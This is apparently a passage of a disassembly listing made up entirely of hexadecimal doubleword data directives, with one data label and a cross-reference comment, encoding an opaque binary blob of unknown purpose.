dd 1F1B00C4h, 77E93669h, 30F014DCh, 350680A6h, 70440ED7h
dd 0D0A8274Ch, 74A300F4h, 0D95C4736h, 85FE17AEh, 7DC8409Eh
dd 5AC62630h, 44182C02h, 729079C9h, 0D03D00B8h, 0EE2F937h
dd 0FA4D3682h, 3C1A1028h, 0EFD44293h, 0C46068A3h, 32019FFBh
dd 44AB33ACh, 84D84C88h, 7043627Dh, 0E0E51A91h, 4A0BDB07h
dd 0EDC09E77h, 7CE8FF9Ch, 9BEB003Bh, 24326E3Dh, 0D636E7EEh
dd 0B8D980ECh, 98A9C214h, 0C4608F01h, 0FE17E0DEh, 9F1EF1E2h
dd 71E70882h, 330D04Dh, 95643449h, 5CA017DBh, 7AF14CEDh
dd 0AEE72081h, 0FF18007Ah, 42347E94h, 0E840A49Eh, 9AD26FE7h
dd 807128FCh, 0F0EF54B8h, 68EE501Dh, 7C8CA185h, 513F9C23h
dd 0BEF3E193h, 0FC894600h, 0FA2A2C3Bh, 0B0986Eh, 97A059D9h
dd 91CF8365h, 8BA894A3h, 0FD066805h, 38DCD75Ah, 0A8084968h
dd 0F918207Dh, 76408F48h, 5D08E4B9h, 0E781033Dh, 0F8030BA8h
dd 0D3532B29h, 0D999F855h, 0F4081647h, 143CF852h, 13DC654Ah
dd 74C93F4Fh, 19488860h, 503B3D83h, 61783586h, 0C002818h
dd 9913D729h, 0EDB500DAh, 8D86F471h, 0C201F32Bh, 0F0F94E1Bh
dd 60805B8Ch, 0A9EE5A38h, 920E841Ah, 0BECDCE51h, 972D6F90h
dd 7C73F81Ah, 0D2E2EE80h, 25A59D6Bh, 44C17FE7h, 10206C7Dh
dd 4D0C4301h, 373957E1h, 6179D719h, 66CECC20h, 2C2B7D4Ch
dd 8068B5E0h, 44FF95DDh, 0F27A4F42h, 218BE201h, 16AAF0FBh
dd 0D734E882h, 0D1064C57h, 4FA700E0h, 15FB2B21h, 0E2EF8B68h
dd 164BC360h, 0C4D63124h, 2202C510h, 84FC5CEDh, 3779ECC0h
dd 0C370184Ch, 38B6A0D7h, 0F009B28h, 2AD38C7Fh, 0F1384AFEh
dd 6480E024h, 24214446h, 41CC887Ah, 0C4A4D922h, 50981E73h
dd 9454847Bh, 7F29E198h, 0EF04A0DEh, 0A4B20A3Bh, 46A9E305h
dd 3884BAh, 9A644F9Bh, 0AA00CD1Ch, 0D50EB282h, 65F184E3h
dd 0B2DF4028h, 0F4390984h, 70789A96h, 0E2B8B8D0h, 67C330E7h
dd 7D9BFFE0h, 0F4A8112Ch, 4E0C6826h, 405DF05Ch, 2DE22550h
dd 0A604DBB0h, 49644829h, 0B0958CB8h, 54576604h, 89ACB418h
dd 0C385E409h, 3F3C04E3h, 98B6B30Eh, 0C94EEF94h, 83F11C31h
dd 66100AC7h, 402831B7h, 49C05622h, 0F06EED09h, 861860ADh
dd 0D7A33AF4h, 97F53A00h, 242513DCh, 43207890h, 84E35865h
dd 1D49CCCFh, 88B2EC44h, 0C4458F00h, 0A90E571Ch, 0EAF92CF3h
dd 1C2412B4h, 411A5844h, 0CA0CCF80h, 1029E684h, 0D7B10924h
dd 2CA97A62h, 203E9431h, 4C74ECC8h, 60226A2Ch, 869EDE40h
dd 0E77F005Eh, 43B7E961h, 700BE099h, 216F70Ch, 353A43Ch
dd 0EBC0B596h, 0B265B0F0h, 800041F0h, 5FFBD9D8h, 0FEC10099h
dd 0D7474F86h, 88C26B0Dh, 0D1B385h, 57B659E2h, 0B04658h
dd 0C4B73158h, 28E7CA9Ah, 29B027AFh, 85C1B62h, 0A40033F5h
dd 9FD598F2h, 37EF01FBh, 16F07AEDh, 8D888022h, 0F3CC35FEh
dd 0A79A007Fh, 99332045h, 0BB134EC5h, 0B808E2C6h, 1EE30E7Bh
dd 0CC301F90h, 1863160Ch, 3C29F44Dh, 4F9F903Fh, 6055003Bh
dd 654B835Dh, 1F4481BFh, 4FC44EA4h, 0FD9C14D6h, 6B138DC2h
dd 26383121h, 0E1582064h, 0DAD83441h, 6DB4131Eh, 0C2CD881h
dd 90EAD4B6h, 4E8BDA00h, 30D793EDh, 5C4C01DDh, 0F012947Ch
dd 504014C0h, 0B3704998h, 589C4869h, 2CA4279Eh, 1FF88C79h
dd 5C28FCB6h, 0A4400B5h, 9508803h, 2880E77Dh, 0E8400C0h
dd 0EC0D191Eh, 4084D82Fh, 40940383h, 27A15A60h, 8F2634E7h
dword_4E414C dd 0E93CC110h, 85203399h, 1C0CC197h, 72A807Dh, 0CDE9C0D7h
; DATA XREF: ___:off_43A870o
dd 0E4146505h, 60F16488h, 0D7306AA4h, 0F71D21B0h, 55A690F0h
dd 30809862h, 0FE17322Ch, 0FAE448B8h, 2D639601h, 696C8D64h
dd 5700607Ch, 3A509199h, 5E0D0F0Ah, 88ECCDF1h, 1989EEE8h
dd 18653F30h, 3880h, 81920437h, 1FF6231Ah, 2747556Fh, 932008AEh
dd 0E762DA48h, 0E4FFBB2Ch, 0A0859F09h, 222C26A0h, 0F9232C4Fh
dd 0D91DC284h, 0E898ECC6h, 0C077C4Ah, 4D80E6D7h, 6BE166D0h
dd 242B50EDh, 429A0C02h, 2BF19D00h, 0DBE80F7Fh, 19C7D321h
dd 69085ABh, 0A9B7F108h, 831D2A70h, 0E5CE4C13h, 25B4942Bh
dd 510C480Ah, 489100BFh, 3ED9DF4Fh, 9A70BE0Fh, 0D60537F0h
dd 1B5BF147h, 0E202BC01h, 0D830D01Eh, 4BC4962Ah, 0DE30C0E9h
dd 5834F00h, 0C3F4A80Bh, 0F29D184Ch, 31B3A025h, 0D900E67Fh
dd 0D51DFCE3h, 1C3D6202h, 13D7CFC5h, 0B19CC82Ah, 807C314Ch
dd 0A4C4D899h, 100E588Ah, 0F1129C90h, 0CD44B08Fh, 86496D00h
dd 0E15D098Ch, 81AF4A64h, 0D1836308h, 784425ECh, 12203EFBh
dd 44A227FFh, 7E773102h, 64F99748h, 14A02D1Fh, 0A864F34Ah
dd 414ED104h, 216081FAh, 0AC89F4F4h, 8160A2B7h, 0FE9B00E5h
dd 0E4003D4Fh, 9C72D3B3h, 499F2E21h, 0A2040C75h, 0D2492263h
dd 0B07180C4h, 958E1100h, 0C1517229h, 88561D10h, 2100DF84h
dd 28A10297h, 1967BF7Ah, 184DF783h, 99A4744Ah, 4C3420D4h
dd 0FBD7C464h, 9444FCC9h, 1B497004h, 40073CB2h, 4063D551h
dd 0AA273B9Ah, 2A5460B2h, 88A33FB0h, 83EE09CCh, 0E4A18510h
dd 0A0385014h, 7966720Ah, 647005CCh, 2D8E296h, 59D73684h
dd 88A90516h, 0E7258554h, 81280024h, 0FAD61EDFh, 5F2001Ch
dd 8791F046h, 0D4A626CBh, 8C8514A8h, 945E1000h, 7F83512Ch
dd 16D0BA11h, 0A0A549B6h, 254DDFACh, 26A602E8h, 0C736D7h
dd 2C3F029Bh, 27093D1Eh, 0BA305100h, 910AE31h, 83C7D7C1h
dd 0F10BBCE7h, 64FC2532h, 3D33ACA0h, 30EEA3D7h, 0FDC59801h
dd 0C101D15Bh, 41DDE193h, 70296408h, 0A74C4858h, 32C902A7h
dd 0ECAA8970h, 0A8BF202Ch, 9E00A4B0h, 6C8C704Ah, 4A9CE7ECh
dd 0DB60C01Bh, 0AF39F0EFh, 0B56AF5E5h, 7C8F0030h, 0A501D64Fh
dd 30835A97h, 0AE62424h, 68ECBF66h, 805D08E4h, 0F140653Ch
dd 4FB407EAh, 0F5A983C0h, 0D74D1076h, 0ECEF0204h, 80CCE049h
dd 9BA6EACCh, 5DE71870h, 73269022h, 304CDF00h, 3F37D09Ch
dd 0E70F097Fh, 9044312Bh, 0FC28384Fh, 70DA5C1Fh, 1E2AB040h
dd 8711853Fh, 6C86BA3Ch, 0BF2827D0h, 0FC96B47Dh, 0C08C5A5h
dd 3F68290Eh, 0BC198A24h, 4B310400h, 1DEF1C72h, 420735Bh
dd 9094A8E7h, 3F6E9B58h, 3162C901h, 6F84D7D5h, 0D44C842Dh
dd 0DCF0FB05h, 2604A00Eh, 3D489239h, 0D8F9246Fh, 99C8714h
dd 785253Bh, 2B742450h, 0DB454C82h, 89859660h, 0B0FC55D8h
dd 0A1306634h, 4CD7B80Fh, 0F538C474h, 5060802Fh, 3C03265Fh
dd 4D025DA9h, 91384BA1h, 60F27B6Ch, 9001840Ch, 973B4EAFh
dd 2196D92Fh, 7C382F37h, 98F6CC0Eh, 902F1FDAh, 17169534h
dd 0B9E7D6A3h, 1F9C5830h, 438F72D7h, 6B65A511h, 0ABF1A804h
dd 986FED00h, 4C0BB4D0h, 80FFE1E9h, 0F436CF68h, 382CE9F0h
dd 0C0D34F07h, 1C8A9228h, 0B3AE62E0h, 0C6036502h, 413E94FAh
dd 8905A7A4h, 0F9F1974Ch, 92844440h, 3E2E30E8h, 51124A8Dh
dd 83E0B0C7h, 0C6935E25h, 50915804h, 13C8C84Fh, 30550E00h
dd 50CCCF9Fh, 0F83D0958h, 0C8801F23h, 0A1AAF0F6h, 0D89DA8D6h
dd 0A0189892h, 0E102EF60h, 5A8E55C8h, 0C05462D5h, 1847233h
dd 873F4082h, 7A70E713h, 4F5C3454h, 990AF430h, 8F58C906h
dd 0F824D480h, 1D61C1E7h, 7FDFFFE0h, 0C942E5E0h, 400DEF1h
dd 16F31D41h, 0DBD72Eh, 0DC0F8586h, 946F1248h, 2438F374h
dd 5617F02Dh, 92858C37h, 46A29CD2h, 4749C24h, 0EC3AE749h
dd 24C04840h, 7C935813h, 0F2ECC08h, 0C1420398h, 0BC820A4Ch
dd 5C00B770h, 48A85347h, 0D90024A4h, 0A6DB5BD3h, 0F0197577h
dd 27981783h, 0E53CFF30h, 4437C455h, 1AE70508h, 6E8E228h
dd 4BDCD737h, 204D06C0h, 211F7BE8h, 81344919h, 28601438h
dd 0FAA440F2h, 976468F1h, 24B22C25h, 0F880912Fh, 1B4261E1h
dd 84606BB8h, 9F798CA0h, 51264848h, 0B2B5205h, 82458013h
dd 1F06CE1Ch, 596284D5h, 0AD2700C0h, 0ECC64F49h, 19000D1Bh
dd 3DB8FBD6h, 258474A3h, 2CC458B6h, 92F40BCh, 6814827Ch
dd 0F3410F40h, 70869CEDh, 0F405A524h, 0B044940Eh, 0FC66C017h
dd 1CF95DB8h, 0C29AF40Eh, 0E7E86012h, 0C8A0C8B8h, 1578843Fh
dd 10F59430h, 0F34517Fh, 580870AFh, 87DCEA8Ah, 3CFD8347h
dd 0D0E5A760h, 0E72F8070h, 490C61DCh, 0EFC5B42Ch, 0EB58C8CCh
dd 4BF08358h, 492EF899h, 0ACC256A8h, 0D79F34FBh, 0F9003DD0h
dd 56AF4EDCh, 0D917CF28h, 60408784h, 45CCD89Eh, 3EE76DCBh
dd 93EC3038h, 7F1B40h, 781D3B4Fh, 0F04CC834h, 3098792Fh
dd 0FDF4B80h, 4F9E1427h, 54B9C180h, 0FF24EEA9h, 8205087h
dd 0F31B6300h, 14B301DBh, 8C41014Fh, 849A8F69h, 74F453B8h
dd 0DF70E908h, 9443501h, 1409E324h, 0EAE20CC4h, 0FE8920C6h
dd 0D64E0089h, 0ED7D0154h, 933EC098h, 24F5A62Fh, 4455213h
dd 0F030FEE0h, 97150E84h, 3E215098h, 0EC029181h, 0DC7FF560h
dd 6CDC78D3h, 0A94BC7Dh, 13F0AD6Dh, 6AE401EDh, 20F298D7h
dd 0FD3C9CFCh, 6D521929h, 2866A340h, 17FFD410h, 50926179h
dd 980CCC97h, 466624D0h, 644A2727h, 0B2ED6DC0h, 3FF54F0Bh
dd 9C53803Bh, 0A03D5005h, 4EC58408h, 8260271Ah, 30FAA489h
dd 714D7608h, 0F6D30052h, 4F322FF7h, 17E2F11Eh, 0EB00485Fh
dd 39B3A7EFh, 2FA426E7h, 98808094h, 8A3493DCh, 0BBD7EB16h
dd 0E8457880h, 1E24B82Ch, 127AE714h, 0C0502518h, 22C9F144h
dd 82B09095h, 0A81059E7h, 757A9807h, 80BF4728h, 51DA4EB6h
dd 97F8EAE6h, 8410DC0Bh, 25906033h, 883F00ACh, 4EF34F13h
dd 94073249h, 0C9E7F69Ch, 3C0250ECh, 4C3947DEh, 6F8AB9E0h
dd 9C48535Dh, 9A6514DCh, 8DAF09B0h, 0FC745092h, 0E7DA8325h
dd 84410079h, 1093FFB4h, 3B1C887Dh, 51769F04h, 54889C5Fh
dd 280B951Fh, 90FA8C60h, 0F8CCE54Ah, 92D09197h, 7CC0B17Dh
dd 0D71774BCh, 1C4896BEh, 293140D5h, 0BF005C17h, 0DEDB1CC3h
dd 9068589Eh, 9FC909A0h, 0AC0055F9h, 1D2CCCFAh, 84E3D006h
dd 4271CFD3h, 0D85401C2h, 0AAE1E77Bh, 5CC2CC7Ch, 80795B62h
dd 0F07C7702h, 0C70501Dh, 70425C36h, 9E1EAF20h, 23C00D1Ah
dd 838BDDB1h, 26F33B6Ch, 0A26D3FF9h, 859AC783h, 2CA3FB71h
dd 8C8280E7h, 960D872Dh, 182E130Fh, 0CF6C5AE8h, 0D32C7E20h
dd 2778B648h, 0A72B8B0Eh, 221A80B7h, 0E40BDFADh, 0E7C60EAAh
dd 4098A65Fh, 4E01E02Ah, 6D35A2E1h, 1885BF78h, 0ABF56BACh
dd 487B99C1h, 0CA7F509Dh, 7486CA6h, 0CC33DB2Dh, 0B3002730h
dd 362BE426h, 187E961Bh, 287CEB83h, 0E7E79CDh, 17383760h
dd 0ADBC29h, 244FE914h, 9E844894h, 0E1087224h, 0E61B8316h
dd 10469B70h, 289CD0h, 23A6C47h, 7A618C0h, 3E4CC784h, 987C46BDh
dd 0D4470880h, 540E14A0h, 0D178E460h, 0E278DFCFh, 0D800079h
dd 251AADB8h, 880086F3h, 2DCD3129h, 1D217A27h, 0D8836F12h
dd 8475F932h, 7D06C4ACh, 53B4028Ch, 0A8266221h, 16000577h
dd 605B0E81h, 13283023h, 0C607B036h, 0A6A5E71Ah, 0A7CDC840h
dd 0D9E2052Eh, 8391E540h, 0B040E07Ch, 0DB7347A8h, 90E81754h
dd 6D0380A4h, 2FD1AAFFh, 6059E2A6h, 804014h, 0BC2B7E69h
dd 227C8FD5h, 9B5EEA00h, 83766D0Eh, 40426094h, 0C6BB0F5Ch
dd 30E63631h, 0D0BC96D3h, 4EB0D9Fh, 823EB7DFh, 5048F010h
dd 0F85059F2h, 7F310FF0h, 1807D099h, 0A08F08Dh, 2920E209h
dd 0CD623F0h, 0F68F6D1Ah, 63266438h, 8305A4EBh, 0EC4107A0h
dd 53510E7Fh, 0F979508Ah, 3EDF86ACh, 0A000803Ah, 34B5F78Dh
dd 8C80602h, 96930ED3h, 9B80141Ch, 0F9FAC6A3h, 6DA8A03Bh
dd 70FB60C4h, 9B8778BDh, 2D29E303h, 0D52B150Dh, 69E17404h
dd 30827C88h, 2E90C8F0h, 0D360626Dh, 2294CF18h, 14030295h
dd 0AABE855Fh, 0BD9093h, 112A2D24h, 33286E7Ah, 25F9F022h
dd 1AF6F47Ch, 1677F91Fh, 3868154Ah, 1E8C789h, 33D679F0h
dd 48DBBE3h, 0A6707F50h, 0DF308868h, 78E2AD33h, 3096780Fh
dd 0DE10549Fh, 0F56E040Dh, 396D2329h, 62600BD1h, 98004722h
dd 101AC9C2h, 0C3F8FD50h, 0AF6DAEC3h, 332800F7h, 327DF57Ch
dd 0BB008618h, 0E44C70F0h, 0FA306D60h, 0ADC336C8h, 0DC00A939h
dd 5CC0F15Eh, 225DFFDh, 0D31E7290h, 8890BB2Bh, 10002415h
dd 0C3A19A26h, 0ACDFBCEh, 8A765F92h, 0C0CB9CA0h, 6329AC81h
dd 100A6509h, 88FD6983h, 0E703C507h, 73C682h, 7B446D22h
dd 8B029BF0h, 0A5F92B17h, 29909067h, 93C99BFh, 84A0A60Fh
dd 0ED51E019h, 741570C5h, 24FEBC31h, 7287F441h, 0F9B6BC41h
dd 15257880h, 0B20F4475h, 0BCAB921Eh, 13081D14h, 404F7E12h
dd 220A1078h, 0FF02BE7h, 48F4A5DFh, 0C88E7F00h, 6615A823h
dd 91C33CAAh, 948F6829h, 1A117580h, 2AABEB90h, 90906DB4h
dd 21610AA0h, 86C2891h, 24015393h, 66A636EBh, 5D5E3840h
dd 864C91E3h, 1184D3DFh, 882B0614h, 30184838h, 2D8050A5h
dd 285091BBh, 0F071FE90h, 8B831BC8h, 0D1C4E0AEh, 6A06E64h
dd 3C7350D9h, 0D4880047h, 0DDFFADBh, 20B23E26h, 0C7FBD504h
dd 30D703A8h, 955BEF3h, 0CE23E190h, 7FA58800h, 170019D6h
dd 187147CCh, 1890C6FFh, 485D200Fh, 36350ABAh, 7C40A0D8h
dd 0CD330D5Ch, 0C08F98DFh, 24292ED0h, 0E3936F3h, 20386259h
dd 16B064FBh, 1D1CAC6Dh, 0E466009Ch, 3712093Ah, 0BEBCCA03h
dd 0A36798C9h, 0E069E39Fh, 6347487h, 2DD8D931h, 0A9012864h
dd 0CEE288AAh, 8851725Dh, 0E442EA38h, 0E988175h, 18921E80h
dd 362C40C5h, 38FF6FC2h, 6B263104h, 78870F2Fh, 83090D80h
dd 40F564E1h, 49B28437h, 0F805A9C8h, 78C41413h, 18BA8618h
dd 44288378h, 367EB894h, 0DC0D847Fh, 20C4056Dh, 0A0DC6EE2h
dd 0F406C5D4h, 0DDE0A8A6h, 4C77777Fh, 13C4286Dh, 6898005Ah
dd 4C97D22Ah, 321274DCh, 793041F8h, 3615D923h, 32E11690h
dd 0C41E1C24h, 0D0AFE68Ah, 1473150Ah, 0E4499992h, 2878B023h
dd 8B3614E3h, 3500AC08h, 7EF0B9B1h, 0DE5C8CDCh, 322103DAh
dd 0C68BDB68h, 245872B0h, 0AC58EF64h, 45B01320h, 83D7E2D0h
dd 0F030452Ch, 0AA0EE809h, 144EE83Eh, 881274E0h, 0D647A962h
dd 0D9571064h, 6E48141Ch, 50AF2410h, 82041209h, 4ABFFB74h
dd 7E6480A4h, 69830E7Dh, 0D08AD06Dh, 313835D2h, 45AD33D4h
dd 0E440378h, 103EC767h, 0E16D88AAh, 87AF0A18h, 0A4683Ch
dd 0E6FBEED8h, 0B80FA62Ah, 92574061h, 1F0B411h, 0B775789Bh
dd 1FDD3753h, 60F50EDCh, 0E00F6033h, 14B17665h, 4745F0A6h
dd 0C0EE3422h, 0DED3EFE4h, 8215E011h, 4044C72Fh, 750F7918h
dd 814EDFE7h, 494A6D31h, 678A2892h, 0B3A2C33Ch, 2595A019h
dd 8831A8F8h, 0C7F4824h, 71940E73h, 0FA49BEA8h, 0DC362C44h
dd 0FD21E244h, 81608348h, 0DC718017h, 4247F4CCh, 0BED914D1h
dd 0B2DB20E4h, 0A32D258Ch, 30BD1411h, 0AB3A8B20h, 834B06FAh
dd 64876AEh, 400DEA23h, 0C2195803h, 1110DFA3h, 6DB0AA00h
dd 68CF1030h, 17C73FD0h, 20A20E82h, 0A86D2178h, 0A720F264h
dd 20DFC4CCh, 0AE0FD637h, 324B8379h, 0A0EAF44Bh, 0F37BF9F4h
dd 48DD7810h, 0D75B583h, 8842DFC4h, 9EA84238h, 30E01838h
dd 2D2041B1h, 0FC07111Fh, 0F28F304Fh, 31BEFF81h, 0A50AD8h
dd 0E297BFBh, 13E8493Bh, 1839FC24h, 61D1B00h, 5FCE2Eh
dd 80707DA6h, 62C82524h, 77EF18EAh, 0C385138h, 4082F6B4h
dd 68C9DF4Ch, 8981831h, 150058FBh, 0F55FE730h, 0A3E60B04h
dd 8814AFABh, 0BA2CCA3h, 1D6CC61h, 0D9022FE6h, 0DF2EF066h
dd 0F0876CB8h, 9882BC2Bh, 0BBE44908h, 281D4073h, 0A0D7986Dh
dd 8C3AA192h, 0C7020E94h, 2023A9FCh, 9BDA8ABCh, 0B43E492Ch
dd 13EC0F83h, 0D46A9800h, 0F0B7A791h, 0E9700169h, 0A30E8B7Fh
dd 0A52081F7h, 0BE6F9839h, 6A0800DFh, 8A6C90DFh, 0FB1D2EFFh
dd 850B4CBDh, 991024C2h, 6D846056h, 78C09E5Eh, 37AE7476h
dd 8A604F9h, 0D3738F4Ch, 0B01C220Ch, 8B4B415Fh, 0D382234h
dd 0A064E839h, 2DA748Ch, 1B177DF6h, 70407FA6h, 69D2FA02h
dd 127C3891h, 216D3801h, 5B789FC9h, 287FF10Ch, 816000E8h
dd 2A18D52Bh, 9514DF0Bh, 24CC2517h, 582C64A8h, 822D163Ah
dd 68E0CE02h, 0E4C88078h, 1A27977h, 0BD2A5AC0h, 20AF2788h
dd 15741D14h, 83CC6804h, 7880FA90h, 0A2120D2Bh, 178410E1h
dd 0A23D901Ah, 369861D4h, 82EB5C01h, 0E26D3030h, 4B486AC6h
dd 638CE204h, 0B084B828h, 76FB7039h, 60ED0147h, 0EA0E7EC5h
dd 2F130021h, 0A71C14DAh, 0A6038246h, 0B0C76D63h, 7E6C4000h
dd 6BD0C9E1h, 0A79400D6h, 2B58D781h, 83003DFDh, 65851804h
dd 986D8034h, 50C2F45Fh, 0F46A443h, 0A3B7F986h, 0BB2A0BC0h
dd 8E4C2554h, 382020FCh, 14310DE5h, 21721088h, 0FAC6474h
dd 904E7E25h, 5DC38BF8h, 230BB4DEh, 4CAE896Dh, 0E526B240h
dd 0A5F2D95Dh, 0DD82270Ch, 13298016h, 48EA5C6Dh, 9458334h
dd 0F2BBC4C1h, 18209071h, 0AD0D10DEh, 0C61617E3h, 0DDDF0042h
dd 0DBE080A3h, 0CABF326h, 57380E05h, 36737228h, 7290D458h
dd 1D109E01h, 0F683A60Ah, 0EDFCD0h, 2A356D87h, 188B23D8h
dd 2E101E48h, 0FF04CD98h, 64C4B4AAh, 0C4281C8Dh, 0B00F6D84h
dd 26249444h, 0D4AC7405h, 1F8C088h, 19D3480Fh, 6099F97Ch
dd 0F07AC2F8h, 7F20161Eh, 3F088514h, 0BB111726h, 30669448h
dd 0E924DF0Eh, 6CBFE0C0h, 102C0A7h, 0F3DE7479h, 0D947F48Eh
dd 2584C0B5h, 0D16BF107h, 0FE706794h, 22F1115h, 832C788Ah
dd 78500214h, 0E020AC82h, 152197AFh, 9231200h, 0D46B8569h
dd 78257C94h, 0D2E20748h, 490E371Dh, 0DFDE4420h, 90C0E8F6h
dd 0FFCBBEC2h, 5A240E58h, 0C832F0E0h, 0E090477Ch, 952DA31Ch
dd 85481340h, 1C8182Eh, 0B1237FF3h, 23BC146Dh, 52CA0388h
dd 0BB8183h, 660D37A8h, 7EDDB623h, 0ADBE2B01h, 45FBAC2Ch
dd 1481060h, 9307E8D0h, 64490E06h, 581309B8h, 0C82026E2h
dd 301771h, 6484E983h, 958F44FEh, 3252A12h, 6C730D8h, 40838D8Ah
dd 243A1072h, 0D250D815h, 6D827CC0h, 5CA0C01Bh, 1F5758E4h
dd 14956700h, 83636F47h, 2F89C54h, 2833D579h, 158B0840h
dd 0B42E7F03h, 1FFB6583h, 34E62DA0h, 4D4B3D8h, 0F55E5645h
dd 0E9A82CC0h, 15580F6Fh, 9CA72DFAh, 0B8B4C083h, 0E7FC4CA5h
dd 5CC50D18h, 968EE1A0h, 839B44B8h, 12F9F850h, 80F3E12Ah
dd 6EC95D10h
dd 83E89534h, 680C2842h, 0E2401C28h, 0E73E8380h, 0FCAA58A5h
dd 32FE8870h, 6DDC5A07h, 44C0AED4h, 0C4E3297Fh, 1C7A3020h
dd 81023464h, 8B449F83h, 7C2C0D8Ch, 0B8B50C20h, 8DE5C70h
dd 22441B88h, 88AED8C1h, 6CC8F444h, 746F0183h, 0CE176708h
dd 0E39C7061h, 0DC0F2010h, 0AF12A507h, 1B018394h, 14B04878h
dd 70340B31h, 0BC3D7EA7h, 9C545C24h, 0B0168036h, 2D1B1ABBh
dd 646E4713h, 16E2F408h, 0BD3C0617h, 6920D8EAh, 0D57106F2h
dd 11900F97h, 7AE28219h, 9F2C4858h, 85355A00h, 1C8C0970h
dd 89C7FC3Dh, 27E128Dh, 505D0E4Ch, 4CDF16DCh, 85488827h
dd 0C7F44903h, 869B6DFFh, 146096F8h, 292DA4E2h, 6D243082h
dd 20037BC3h, 0DF229327h, 0B9BCCF84h, 28751E87h, 7CC08316h
dd 15EA3C54h, 0F085E8EAh, 0A00A234h, 0BCC80B94h, 9DE81B99h
dd 7809E050h, 7A892E0h, 0A723C896h, 38F0666Dh, 0DB70820Fh
dd 0CC17AF93h, 0F85FE085h, 18049879h, 61FEB86Dh, 868A2633h
dd 0F9206010h, 9CAECAE8h, 0B038A7CCh, 0D7FC0DE0h, 0C810E0E5h
dd 0F8D2EE26h, 13A0C31Fh, 30E422F2h, 17070D20h, 0C64C845Ch
dd 21F8F6h, 0B0828061h, 73171AEEh, 902FA626h, 30F11400h
dd 7C88AB9Eh, 0C71628F2h, 81C20028h, 25FD1CA4h, 4731E06Bh
dd 0D83581Eh, 4A96DDE0h, 70034A7h, 97DA7290h, 62CDF02Ah
dd 13E88385h, 0D92BF0A0h, 3A01B67Fh, 1AFED5FFh, 242D8B96h
dd 41284448h, 280D2510h, 1624C085h, 1A8C00C8h, 0A82375DCh
dd 0E831AC9h, 0A1A8DBB8h, 0F8D0D624h, 0F1F5320Dh, 0C079DA38h
dd 2D79514h, 2B80DDFAh, 800C89B9h, 0A0FCF4C8h, 581FCBEh
dd 0F089034h, 0AB63C057h, 14012C20h, 0EF216F48h, 18804210h
dd 0A84D0553h, 0E255D17h, 0C69024BCh, 7A13F8C1h, 6A10F468h
dd 5304C78h, 7EF1EE1Ch, 0C2ADFCC3h, 2A088074h, 2EC4BEh
dd 83DCC6FBh, 33364BB1h, 0A8761028h, 11482549h, 6F177477h
dd 0EC408924h, 68C395C7h, 0D90E6AE7h, 90829BC9h, 0DEAAF22Ah
dd 6D208850h, 0A5C50E5Dh, 364094DDh, 0BFB095CAh, 0A64CBAFCh
dd 40CE9D30h, 8B1F00DBh, 0B62B8Ah, 0E475C7B5h, 13772415h
dd 0C30CBF02h, 0E9B3FBCFh, 0D040AD4Ch, 3602150Dh, 0C0A12789h
dd 3F1022F1h, 991DBB2Eh, 8E6A870Dh, 90B69054h, 7BA83C54h
dd 0EF041E06h, 0FD580B9h, 4680DFA2h, 1D09BCB2h, 6CF8C1E3h
dd 0D32E1F40h, 2E7976Fh, 0EC895E13h, 3440C8CAh, 0D84C248Eh
dd 724500FDh, 0C8DB2E12h, 0FE98B0EFh, 0E1262FAFh, 81DC6422h
dd 67D03043h, 4403EF48h, 5975AD66h, 5130BF82h, 78026220h
dd 846E5C7h, 284D011Ch, 8A525841h, 5C2FCE2h, 56020162h
dd 2A0680BEh, 1B345EEAh, 632250Dh, 1F300D7Bh, 53C42588h
dd 31BB7AB3h, 8212264Eh, 4F6FD4CBh, 0F30E7A76h, 0C07E7068h
dd 158CD88Ah, 0EA580C25h, 0C32F6A42h, 773EC803h, 0E9D48ADFh
dd 1A8E5432h, 56A15157h, 0C56A0B69h, 1948F85Fh, 52EF37C0h
dd 7634FC29h, 8E0D002h, 6C2F0C60h, 5E3F2A8Fh, 0B103BD84h
dd 0F719B835h, 0C5B087C3h, 28585405h, 78ED82h, 0BC251D8Ah
dd 46B565A6h, 0EA18E0F0h, 291E4953h, 305C78F9h, 5A10A3C5h
dd 56F0C42Ah, 254FD61h, 688A8CF3h, 62AC582h, 0B53E4DEAh
dd 0DD9EF300h, 0D18AEB7Fh, 2649005Bh, 31082AAAh, 6FF755EAh
dd 377896B2h, 60101103h, 89D935C2h, 2D59C40Fh, 52C37D8Fh
dd 7E33EAh, 9FB55122h, 0FFDBCD81h, 0ED3AC575h, 0F74CF86Eh
dd 6C037919h, 58CE289h, 53610025h, 0CF2D67B7h, 5400F129h
dd 0CC81DBB4h, 48E4D187h, 0EC382EF7h, 0F249EA0Dh, 3F8F17E0h
dd 9BF57E0h, 180C145Bh, 0D05BB53h, 4D77B2Ah, 695FF402h
dd 8A08924Fh, 1334FA8Ch, 0E273E14h, 3FE607DFh, 0F7633639h
dd 7695E32Eh, 7DC70818h, 6A315D4Fh, 0E7F07183h, 0DC7C182Dh
dd 31DD1851h, 8A684100h, 0BC545FF3h, 0F84603FBh, 0E971EA0Eh
dd 1857AE30h, 0ED5F3731h, 182D4F8h, 0FA5C3BCCh, 0E0E4D24Ch
dd 8002DAECh, 41EACA81h, 88BF9A05h, 5362E14Bh, 0D320586h
dd 0ED063481h, 0C1C54720h, 0E206E7C1h, 7A42EDC3h, 0FC34331Eh
dd 0D066032h, 0EAC30A5Dh, 8F48302Ah, 1CCA44FBh, 0BF90A4CDh
dd 4A689C92h, 2026C71Ah, 8806819Bh, 0C68C3420h, 342D8A3Ch
dd 1B06AF20h, 5D2FF369h, 0E7482673h, 0E87E19B9h, 6CBC90A0h
dd 2663EC18h, 171D9136h, 0F1405E09h, 32D1223Ah, 0FEA18C7h
dd 25C224Ch, 0C337CE78h, 78001041h, 33679E1Dh, 9D4E1159h
dd 83E07CF9h, 0E38A5360h, 4909C957h, 0DE75319Ah, 871440B3h
dd 1020295Dh, 0D652DC4Fh, 0F85CA71Ah, 8D3DD1B9h, 1684E8D2h
dd 0BA4861E2h, 1C094220h, 81B95135h, 0A6E7A59h, 0F28530C2h
dd 825DFF3Ch, 8CD0027Eh, 8D1450Dh, 5E005B32h, 49F7BA52h
dd 0E94150E8h, 7218D47Ch, 96F65D01h, 0F5D20245h, 0C7DF5621h
dd 20C9A93h, 0E35EEC6Dh, 33117A21h, 0C0737F0h, 42A459E0h
dd 0BEA510Dh, 0CA220C12h, 0A8488DFh, 2689591Dh, 2D2E2480h
dd 0E0EC0289h, 0DFB6AC6Eh, 0DE3E0A67h, 0CCBB01ABh, 0E89016C1h
dd 49997385h, 0F10FFB00h, 61D4025Ah, 14EA065Bh, 0C9CD9436h
dd 399420C4h, 0CB13DA89h, 1C83045Ah, 0E3810364h, 2EB9997h
